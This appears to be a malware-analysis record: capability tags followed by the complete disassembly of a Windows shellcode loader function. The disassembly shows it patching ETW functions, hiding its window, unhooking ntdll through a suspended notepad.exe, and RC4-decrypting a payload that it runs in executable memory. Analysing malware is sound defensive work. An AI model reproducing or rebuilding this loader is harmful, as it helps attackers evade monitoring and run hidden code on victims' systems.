Function at 0x1800011d0
Capabilities:
Create process on windows
Create process suspended
Execute shellcode via indirect call
Hide graphical window
Inject thread
Link many functions at runtime
Patch event tracing for windows function
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x2b8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x230], 0xfffffffffffffffe
call sub.KERNEL32.dll_GetConsoleWindow
mov rsi, rax
mov rcx, rax
xor edx, edx
call sub.USER32.dll_ShowWindow
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
xor r9d, r9d
call sub.USER32.dll_SetWindowPos
lea rcx, [0x18004218c]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x1800421df]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], 0
movaps xmmword [rbp + 0xe0], xmm0
movaps xmmword [rbp + 0x140], xmm0
movaps xmmword [rbp + 0x130], xmm0
movaps xmmword [rbp + 0x120], xmm0
movaps xmmword [rbp + 0x110], xmm0
movaps xmmword [rbp + 0x100], xmm0
movaps xmmword [rbp + 0xf0], xmm0
mov dword [rbp + 0xe0], 0x70
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rdx, str.notepad.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessA
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x1f0], rax
call fcn.180004510
mov qword [rbp + 0x1e0], rax
lea rcx, [rbp - 0x20]
lea rdx, [rbp + 0x1e0]
call fcn.180004520
cmp dword [rbp - 0x20], 4
jne 0x180001e50
mov rdi, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0x220], rax
mov r13, qword [rbp - 8]
shl r13, 4
add r13, rdi
lea r14, [rbp - 0x20]
lea r15, [rbp + 0xe0]
movabs rsi, 0x6c642e6c6c64746e
mov qword [rbp + 0x1f8], rdi
cmp rdi, r13
je 0x18000150e
nop word cs:[rax + rax]
movups xmm0, xmmword [rdi]
movaps xmmword [rbp + 0x200], xmm0
mov rcx, r14
lea rdx, [rbp + 0x200]
call fcn.1800047c0
cmp dword [rbp - 0x20], 4
jne 0x180001dce
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0x228], rax
mov r8, qword [rbp - 8]
mov rcx, r15
mov qword [rbp + 0x218], rdx
call fcn.180017410
movzx eax, byte [0x180050131]
mov ecx, 9
mov edx, 1
call fcn.180003790
test rax, rax
je 0x180001e1f
mov qword [rax], rsi
mov byte [rax + 8], 0x6c
mov r12, qword [rbp + 0xe0]
cmp qword [rbp + 0xf0], 9
jne 0x1800014b0
mov rcx, qword [r12]
xor rcx, qword [rax]
movzx edx, byte [r12 + 8]
xor dl, byte [rax + 8]
movzx edx, dl
or rdx, rcx
sete bl
jmp 0x1800014b2
xor ebx, ebx
mov edx, 9
mov r8d, 1
mov rcx, rax
call fcn.1800037a0
mov rdx, qword [rbp + 0xe8]
test rdx, rdx
je 0x1800014df
mov r8d, 1
mov rcx, r12
call fcn.1800037a0
mov rdx, qword [rbp + 0x228]
test rdx, rdx
je 0x1800014fd
mov r8d, 1
mov rcx, qword [rbp + 0x218]
call fcn.1800037a0
test bl, bl
jne 0x180001541
add rdi, 0x10
cmp rdi, r13
jne 0x180001410
mov rdx, qword [rbp + 0x220]
test rdx, rdx
je 0x180001530
shl rdx, 4
mov r8d, 8
mov rcx, qword [rbp + 0x1f8]
call fcn.1800037a0
lea rcx, [rbp + 0x1e0]
call fcn.180004430
xor r14d, r14d
jmp 0x18000157e
lea rcx, [rbp + 0x200]
call fcn.1800047b0
mov r14, rax
mov rdx, qword [rbp + 0x220]
test rdx, rdx
je 0x180001572
shl rdx, 4
mov r8d, 8
mov rcx, qword [rbp + 0x1f8]
call fcn.1800037a0
lea rcx, [rbp + 0x1e0]
call fcn.180004430
lea rdx, str.C:WindowsSystem32_ntdll.dll0x
lea rcx, [rbp + 0xe0]
mov r8d, 0x1d
call fcn.180003a90
cmp qword [rbp + 0xe0], 0
je 0x180001627
mov rax, qword [rbp + 0xe8]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x18000172f
test rcx, rcx
je 0x18000172f
lea rcx, [rax - 1]
mov qword [rbp + 0x228], rcx
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov qword [rbp + 0x220], rcx
mov qword [rbp + 0x218], rax
call qword [rax]
mov rax, qword [rbp + 0x218]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x18000160b
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0x220]
call fcn.1800037a0
mov edx, 0x18
mov r8d, 8
mov rcx, qword [rbp + 0x228]
call fcn.1800037a0
jmp 0x18000172f
mov rax, qword [rbp + 0xf8]
mov qword [rbp - 0x10], rax
movups xmm0, xmmword [rbp + 0xe8]
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
call fcn.180003c50
mov r15, rax
mov r12, rdx
mov rcx, rax
call fcn.180003ca0
test al, 1
jne 0x180001f7a
mov qword [rbp + 0x200], r15
mov qword [rbp + 0x208], r12
lea rcx, [rbp + 0x200]
call fcn.180003c50
mov rcx, rax
call fcn.180003c80
add rax, 0xffffffffffffffd8
shl rdx, 3
lea rcx, [rdx + rdx*4]
movabs rdx, 0x747865742e
nop word cs:[rax + rax]
test rcx, rcx
je 0x180001e33
lea r13, [rax + 0x28]
add rcx, 0xffffffffffffffd8
cmp qword [rax + 0x28], rdx
mov rax, r13
jne 0x1800016a0
mov qword [rbp + 0x200], r15
mov qword [rbp + 0x208], r12
lea rcx, [rbp + 0x200]
call fcn.180003c50
mov r15, rax
mov r12, rdx
lea rcx, [rbp + 0x200]
call fcn.180003db0
mov byte [rsp + 0x20], al
lea rcx, [rbp + 0x1e0]
mov rdx, r15
mov r8, r12
mov r9, r13
call fcn.180003dc0
cmp qword [rbp + 0x1e0], 0
je 0x180001fad
mov eax, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add r14, rcx
mov qword [0x180050120], rax
mov qword [0x180050128], r14
lea rcx, [rbp - 0x20]
call fcn.180003c60
lea rax, [0x180050128]
mov qword [rbp + 0x200], rax
lea rax, [fcn.18001c1d0]
mov qword [rbp + 0x208], rax
lea rax, [0x180042210]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], 1
mov qword [rbp + 0x100], 0
lea rax, [rbp + 0x200]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], 1
lea rcx, [rbp - 0x20]
lea rdx, [rbp + 0xe0]
call fcn.180017260
mov rdx, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov rsi, qword [0x180050120]
mov r8d, 4
test rsi, rsi
mov qword [rbp + 0x220], rcx
mov qword [rbp + 0x1f8], rdx
je 0x1800017f3
mov rax, rsi
shr rax, 0x3d
jne 0x180001f64
lea rbx, [rsi*4]
test rbx, rbx
je 0x1800017f3
mov edx, 4
mov rcx, rbx
call fcn.1800037c0
mov r8, rax
test rax, rax
je 0x180001f6b
mov rdx, qword [0x180050128]
mov qword [rsp + 0x20], 0
mov rcx, qword [rbp + 0x1f0]
mov qword [rbp + 0x218], r8
mov qword [rbp + 0x228], rsi
mov r9, rsi
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
test eax, eax
jne 0x180001ea1
mov rdx, qword [0x180050128]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, qword [rbp + 0x218]
mov r9, qword [rbp + 0x228]
call sub.KERNEL32.dll_WriteProcessMemory
cmp eax, 1
jne 0x180001eb0
mov rdx, qword [rbp + 0x228]
test rdx, rdx
mov rsi, qword [rbp + 0x220]
mov rcx, qword [rbp + 0x218]
je 0x180001885
shl rdx, 2
mov r8d, 4
call fcn.1800037a0
test rsi, rsi
je 0x18000189f
mov r8d, 1
mov rcx, qword [rbp + 0x1f8]
mov rdx, rsi
call fcn.1800037a0
lea rcx, [0x18004218c]
call sub.KERNEL32.dll_LoadLibraryA
mov rbx, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rdi, [0x1800421df]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rdi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rbx
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rdi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rbx
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rdi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rbx
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rdi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, section..data
lea rcx, [rbp + 0xe0]
mov r8d, 1
call fcn.1800024d0
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x228], rax
test rax, rax
je 0x180001ebf
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x220], rax
mov rdi, qword [rbp + 0xf0]
lea rdx, [0x180050010]
lea rcx, [rbp + 0xe0]
mov r8d, 1
call fcn.1800024d0
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x218], rax
test rax, rax
je 0x180001ef4
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x1f0], rax
mov rbx, qword [rbp + 0xf0]
lea rdx, [0x180050020]
lea rcx, [rbp + 0xe0]
mov r8d, 1
call fcn.1800024d0
mov rcx, qword [rbp + 0xe0]
test rcx, rcx
je 0x180001f2c
mov r14, qword [rbp + 0xe8]
xorps xmm0, xmm0
movaps xmmword [rbp + 0xd0], xmm0
movaps xmmword [rbp + 0xc0], xmm0
movaps xmmword [rbp + 0xb0], xmm0
movaps xmmword [rbp + 0xa0], xmm0
movaps xmmword [rbp + 0x90], xmm0
movaps xmmword [rbp + 0x80], xmm0
movaps xmmword [rbp + 0x70], xmm0
movaps xmmword [rbp + 0x60], xmm0
movaps xmmword [rbp + 0x50], xmm0
movaps xmmword [rbp + 0x40], xmm0
movaps xmmword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0x10], xmm0
movaps xmmword [rbp], xmm0
movaps xmmword [rbp - 0x10], xmm0
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp + 0x1d0], xmm0
movaps xmmword [rbp + 0x1c0], xmm0
movaps xmmword [rbp + 0x1b0], xmm0
movaps xmmword [rbp + 0x1a0], xmm0
movaps xmmword [rbp + 0x190], xmm0
movaps xmmword [rbp + 0x180], xmm0
movaps xmmword [rbp + 0x170], xmm0
movaps xmmword [rbp + 0x160], xmm0
movaps xmmword [rbp + 0x150], xmm0
movaps xmmword [rbp + 0x140], xmm0
movaps xmmword [rbp + 0x130], xmm0
movaps xmmword [rbp + 0x120], xmm0
movaps xmmword [rbp + 0x110], xmm0
movaps xmmword [rbp + 0x100], xmm0
movaps xmmword [rbp + 0xf0], xmm0
movaps xmmword [rbp + 0xe0], xmm0
test rbx, rbx
mov rsi, qword [rbp + 0x218]
je 0x180001da6
xor r9d, r9d
jmp 0x180001b33
mov rax, r8
xor edx, edx
div rbx
movzx eax, byte [rsi + rdx]
mov byte [rbp + r9 + 0xe1], al
inc r8
mov r9, r8
cmp r8, 0x100
je 0x180001b81
mov byte [rbp + r9 - 0x20], r9b
mov rax, r9
or rax, rbx
shr rax, 0x20
je 0x180001b50
mov rax, r9
xor edx, edx
div rbx
jmp 0x180001b57
mov eax, r9d
xor edx, edx
div ebx
lea r8, [r9 + 1]
movzx eax, byte [rsi + rdx]
mov byte [rbp + r9 + 0xe0], al
mov byte [rbp + r9 - 0x1f], r8b
mov rax, r8
or rax, rbx
shr rax, 0x20
jne 0x180001b10
mov eax, r8d
xor edx, edx
div ebx
jmp 0x180001b18
mov eax, 1
xor r10d, r10d
nop dword [rax]
movzx edx, byte [rbp + rax - 0x21]
add r10b, dl
add r10b, byte [rbp + rax + 0xdf]
movzx r10d, r10b
movzx r8d, byte [rbp + r10 - 0x20]
mov byte [rbp + rax - 0x21], r8b
mov byte [rbp + r10 - 0x20], dl
movzx edx, byte [rbp + rax - 0x20]
add r10b, dl
add r10b, byte [rbp + rax + 0xe0]
movzx r8d, r10b
movzx r9d, byte [rbp + r8 - 0x20]
mov byte [rbp + rax - 0x20], r9b
mov byte [rbp + r8 - 0x20], dl
add rax, 2
cmp rax, 0x101
jne 0x180001b90
test rdi, rdi
mov r11, qword [rbp + 0x228]
je 0x180001c44
xor eax, eax
xor ebx, ebx
xor edx, edx
nop word cs:[rax + rax]
inc edx
movzx edx, dl
movzx r8d, byte [rbp + rdx - 0x20]
add bl, r8b
add bl, byte [rbp + rdx + 0xe0]
movzx r9d, bl
movzx r10d, byte [rbp + r9 - 0x20]
mov byte [rbp + rdx - 0x20], r10b
mov byte [rbp + r9 - 0x20], r8b
add r8b, byte [rbp + rdx - 0x20]
movzx r8d, r8b
movzx r8d, byte [rbp + r8 - 0x20]
xor byte [r11 + rax], r8b
inc rax
cmp rdi, rax
jne 0x180001c00
test r14, r14
je 0x180001c57
mov r8d, 1
mov rdx, r14
call fcn.1800037a0
mov rdx, qword [rbp + 0x1f0]
test rdx, rdx
je 0x180001c71
mov r8d, 1
mov rcx, rsi
call fcn.1800037a0
mov qword [rbp + 0x200], 0
mov qword [rbp - 0x20], rdi
mov dword [rbp + 0x1e0], 0
mov qword [rbp + 0xe0], rdi
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp + 0x200]
lea r9, [rbp + 0xe0]
mov rcx, 0xffffffffffffffff
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rdx, qword [rbp + 0x200]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, qword [rbp + 0x228]
mov r9, rdi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x200]
lea r8, [rbp - 0x20]
mov rcx, 0xffffffffffffffff
mov r9d, 0x20
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
mov qword [rbp + 0xe0], 0
mov rax, qword [rbp + 0x200]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rbp + 0xe0]
mov edx, 0x2000000
xor r8d, r8d
mov r9, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov rcx, qword [rbp + 0xe0]
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
mov rdx, qword [rbp + 0x220]
test rdx, rdx
je 0x180001d91
mov r8d, 1
mov rcx, qword [rbp + 0x228]
call fcn.1800037a0
nop
add rsp, 0x2b8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp - 0x28], r14
mov qword [rbp + 0x1f8], rcx
lea rcx, str.attempt_to_calculate_the_remainder_with_a_divisor_of_zeroC:UsersHP.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
lea r8, [0x180042320]
mov edx, 0x39
call fcn.18001ef20
jmp 0x180001fe5
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movups xmm0, xmmword [rbp - 0x20]
movups xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0xf0], xmm1
movaps xmmword [rbp + 0xe0], xmm0
lea rax, [0x1800422c0]
mov qword [rsp + 0x20], rax
lea rcx, [0x180020370]
lea r9, fcn.180001030
lea r8, [rbp + 0xe0]
mov edx, 0x2b
call fcn.18001f210
jmp 0x180001fe5
mov ecx, 1
mov edx, 9
call fcn.18001ee10
jmp 0x180001fe5
lea rcx, [0x180042248]
lea r8, [0x180042278]
mov edx, 0x2b
call fcn.18001ef20
jmp 0x180001fe5
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movups xmm0, xmmword [rbp - 0x20]
movups xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0xf0], xmm1
movaps xmmword [rbp + 0xe0], xmm0
lea rax, [0x1800422a8]
mov qword [rsp + 0x20], rax
lea rcx, [0x180020370]
lea r9, fcn.180001030
lea r8, [rbp + 0xe0]
mov edx, 0x2b
call fcn.18001f210
jmp 0x180001fe5
mov ecx, 1
call fcn.18000a090
jmp 0x180001fe5
mov ecx, 1
call fcn.18000a090
jmp 0x180001fe5
movups xmm0, xmmword [rbp + 0xe8]
movaps xmmword [rbp - 0x20], xmm0
lea rax, [0x1800422d8]
mov qword [rsp + 0x20], rax
lea rcx, [0x180020370]
lea r9, [0x1800203c0]
lea r8, [rbp - 0x20]
mov edx, 0x2b
call fcn.18001f210
ud2
movups xmm0, xmmword [rbp + 0xe8]
movaps xmmword [rbp - 0x20], xmm0
lea rax, [0x1800422f0]
mov qword [rsp + 0x20], rax
lea rcx, [0x180020370]
lea r9, [0x1800203c0]
lea r8, [rbp - 0x20]
mov edx, 0x2b
call fcn.18001f210
jmp 0x180001fe5
movups xmm0, xmmword [rbp + 0xe8]
movaps xmmword [rbp - 0x20], xmm0
lea rax, [0x180042308]
mov qword [rsp + 0x20], rax
lea rcx, [0x180020370]
lea r9, [0x1800203c0]
lea r8, [rbp - 0x20]
mov edx, 0x2b
call fcn.18001f210
jmp 0x180001fe5
call fcn.180017200
jmp 0x180001fe5
mov ecx, 4
mov rdx, rbx
call fcn.18001ee10
jmp 0x180001fe5
mov byte [rbp + 0x200], ah
lea rax, [0x180042230]
mov qword [rsp + 0x20], rax
lea rcx, str.REASONsrclib.rs_
lea r9, [0x180020350]
lea r8, [rbp + 0x200]
mov edx, 6
call fcn.18001f210
jmp 0x180001fe5
movzx eax, byte [rbp + 0x1e8]
mov byte [rbp + 0x200], al
lea rax, [0x180042290]
mov qword [rsp + 0x20], rax
lea rcx, [0x180020370]
lea r9, [0x180020350]
lea r8, [rbp + 0x200]
mov edx, 0x2b
call fcn.18001f210
ud2